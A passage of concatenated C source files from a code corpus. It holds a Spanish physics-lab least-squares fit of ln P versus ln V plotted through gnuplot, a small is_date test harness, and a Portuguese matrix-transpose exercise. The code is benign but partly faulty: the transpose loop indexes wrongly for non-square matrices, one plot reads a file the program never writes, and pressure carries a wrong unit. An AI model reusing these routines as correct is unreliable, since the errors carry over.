incerteza_ln_presion += pow((ln_presion[i] - ln_b - a * ln_volumen[i]),2)/n;
}
desviacion = sqrt(incerteza_ln_presion);
ln_b_error= desviacion*sqrt(sumatoria_xy(ln_volumen,ln_volumen)/Deltax);
a_error = sqrt(n) * desviacion / (sqrt(Deltax));
//se obtiene el coeficiente de correlacion
r = (n * sumatoria_xy(ln_volumen, ln_presion)-sumatoria_datos(ln_volumen) * sumatoria_datos(ln_presion)) / sqrt(Deltax*Deltay);
printf("ln P = %f ln V+ %f\n", a, ln_b);
printf("b= %f +/- %f\n", b, ln_b_error * exp(ln_b));
printf("a= %f +/- %f\n", a, a_error);
printf("El valor de P cuando V=100 in^{3}=%f lb/in^{3} \n", b*pow(100,a));
//el coeficiente de determinacion es el cuadrado de r
//printf("Coeficciente de determinacion: %f\n", r*r);
/* se crea y se abre el archivo datln.txt en modo escritura
* para almacenar los valores de x y y que están declarados en los arreglos ln_volumen y ln_presion y sus incertezas*/
FILE *archivoPuntos =fopen("datosln.dat", "w");
/*Guardar los puntos x,y en el archivo de texto creado y abierto previamente*/
for (int i = 0; i <n; i++)
{
fprintf(archivoPuntos, "%f, %f, %f, %f \n", ln_volumen[i], ln_volumen_error[i], ln_presion[i], desviacion);
}
fclose(archivoPuntos);
FILE *gnu_config1 = popen("gnuplot -persist", "w");
fprintf(gnu_config1, "unset label\n");
fprintf(gnu_config1, "set terminal 'epslatex'\n");
fprintf(gnu_config1, "set output 'pv.tex'\n");
fprintf(gnu_config1, "set xrange [40:200]\n");
fprintf(gnu_config1, "set yrange [5:90]\n");
fprintf(gnu_config1, "set title 'Presion vrs. Volumen'\n");
fprintf(gnu_config1, "set xlabel ' V[in$ ^ {3} $]'\n");
fprintf(gnu_config1, "set ylabel 'P[lb / in$ ^ {3} $]'\n");
fprintf(gnu_config1, "unset key\n");
fprintf(gnu_config1, "set grid\n");
fprintf(gnu_config1, "unset key\n");
fprintf(gnu_config1, "a=%f\n", a);
fprintf(gnu_config1, "b=%f\n", b);
fprintf(gnu_config1, "f(x)=b*x**a\n");
fprintf(gnu_config1, "unset key\n");
fprintf(gnu_config1, "plot f(x), 'datos.dat' using 1:3:2:4 with xyerrorbars pt 3\n");
fprintf(gnu_config1, "set output\n");
FILE *gnu_config = popen("gnuplot -persist", "w");
fprintf(gnu_config, "unset label\n");
fprintf(gnu_config, "set terminal 'epslatex'\n");
fprintf(gnu_config, "set output 'pvln.tex'\n");
fprintf(gnu_config, "set xrange [2:7]\n");
fprintf(gnu_config, "set yrange [2:7]\n");
fprintf(gnu_config, "set title 'Presion vrs. Volumen (lineal)'\n");
fprintf(gnu_config, "set xlabel 'ln V[in$ ^ {3} $]'\n");
fprintf(gnu_config, "set ylabel 'ln P[lb / in$ ^ {3} $]'\n");
fprintf(gnu_config, "set grid\n");
fprintf(gnu_config, "unset key\n");
fprintf(gnu_config, "set grid\n");
fprintf(gnu_config, "unset key\n");
fprintf(gnu_config, "a=%f\n", a);
fprintf(gnu_config, "b=%f\n", ln_b);
fprintf(gnu_config, "f(x)=a*x+b\n");
fprintf(gnu_config, "unset key\n");
fprintf(gnu_config, "set datafile separator comma\n");
fprintf(gnu_config, "plot f(x), 'datosln.dat' using 1:3:2:4 with xyerrorbars pt 3\n");
fprintf(gnu_config, "set output\n");
pclose(gnu_config1);
pclose(gnu_config);
return 0;
}
float sumatoria_datos(float x[])
{
float valor= 0;
for (int i = 0; i < n; i++)
{
valor += x[i];
}
return valor;
}
//se realiza la suma de dos vectores, multiplicando cada uno de sus valores de forma consecurtiva
float sumatoria_xy(float x[], float y[])
{
float valor = 0;
for (int i = 0; i < n; i++)
{
valor += x[i] * y[i];
}
return valor;
}
|
the_stack_data/192330451.c | #include <stdbool.h>
#include <string.h>
extern bool is_date(const char *s);
int main(void) {
char s[] = "10/07/2000";
bool r = is_date(s);
return 0;
} |
the_stack_data/15786.c |
/*4) Faça um programa para ler os valores de uma matriz A (mxn) e determine a matriz T transposta
de A. (obs.: T[i][j] = A [j][i]).*/
#include <stdio.h>
#define LIN 99
#define COL 99
int main()
{
int a[LIN][COL], t[LIN][COL];
int m, n, i, j;
printf("Informe o numero de linhas e de colunas da matriz A\n");
printf("\nLinhas:");
scanf("%d", &m);
printf("Colunas:");
scanf("%d", &n);
printf("\n");
if (m < LIN && n < COL)
{
for(i=0; i<m; i++) {
for(j=0; j<n; j++){
printf("Informe os valores da matriz A[%d][%d]:", i, j);
scanf ("%d", &a[i][j]);
}
}
printf("\n");
for(i=0; i<m; i++) {
for(j=0; j<n; j++){
t[i][j] = a[j][i];
printf("T[%d][%d]: %d ", i, j, t[i][j]);
}
printf("\n");
}
}
else
printf("Matriz muito grande!\n");
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.